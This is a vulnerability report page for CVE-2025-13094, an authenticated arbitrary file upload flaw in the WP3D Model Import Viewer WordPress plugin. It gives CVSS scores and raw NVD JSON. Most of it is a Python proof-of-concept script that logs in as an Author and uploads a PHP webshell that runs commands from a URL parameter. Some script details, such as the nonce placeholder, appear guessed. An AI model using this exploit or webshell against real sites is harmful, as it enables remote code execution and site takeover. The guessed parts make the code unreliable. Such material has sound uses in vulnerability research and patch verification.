Security Vulnerability Report
中文
CVE-2025-13094 CVSS 8.8 HIGH

CVE-2025-13094

Published: 2025-12-13 16:16:47
Last Modified: 2026-04-15 00:35:42

Description

The WP3D Model Import Viewer plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the handle_import_file() function in all versions up to, and including, 1.0.7. This makes it possible for authenticated attackers, with Author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WP3D Model Import Viewer <= 1.0.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-13094 PoC - WP3D Model Import Viewer Arbitrary File Upload # Requirements: requests, beautifulsoup4 import requests import sys from urllib.parse import urljoin TARGET_URL = "http://target-wordpress-site.com" USERNAME = "author_user" PASSWORD = "password123" PROXY = None # Optional: {"http": "http://127.0.0.1:8080"} def get_nonce(login_html): """Extract WordPress login nonce from HTML""" import re nonce_match = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', login_html) if nonce_match: return nonce_match.group(1) return None def authenticate(): """Login to WordPress and return session cookies""" session = requests.Session() # Get login page to obtain nonce login_url = f"{TARGET_URL}/wp-login.php" resp = session.get(login_url) nonce = get_nonce(resp.text) if not nonce: print("[-] Failed to obtain login nonce") return None # Perform login login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "_wpnonce": nonce, "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } resp = session.post(login_url, data=login_data, cookies=resp.cookies) if "wordpress_logged_in" in str(session.cookies) or resp.status_code == 302: print("[+] Authentication successful") return session else: print("[-] Authentication failed") return None def upload_shell(session): """Upload malicious PHP shell via WP3D plugin endpoint""" upload_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # PHP webshell webshell_content = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>".encode() files = { "file": ("shell.php", webshell_content, "application/x-php") } data = { "action": "wp3d_import_file", "nonce": "author_nonce_here" # If nonce validation exists, obtain first } try: resp = session.post(upload_url, files=files, data=data, proxies=PROXY) print(f"[+] Upload response: {resp.status_code}") print(resp.text) except Exception as e: print(f"[-] Upload failed: {e}") if __name__ == "__main__": print("[*] CVE-2025-13094 WP3D Model Import Viewer File Upload PoC") session = authenticate() if session: upload_shell(session)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13094", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:47.293", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP3D Model Import Viewer plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the handle_import_file() function in all versions up to, and including, 1.0.7. This makes it possible for authenticated attackers, with Author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://wordpress.org/plugins/wp3d-model-import-block/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3144f190-232c-40c0-9e4b-d1cedfe52b26?source=cve", "source": "[email protected]"}]}}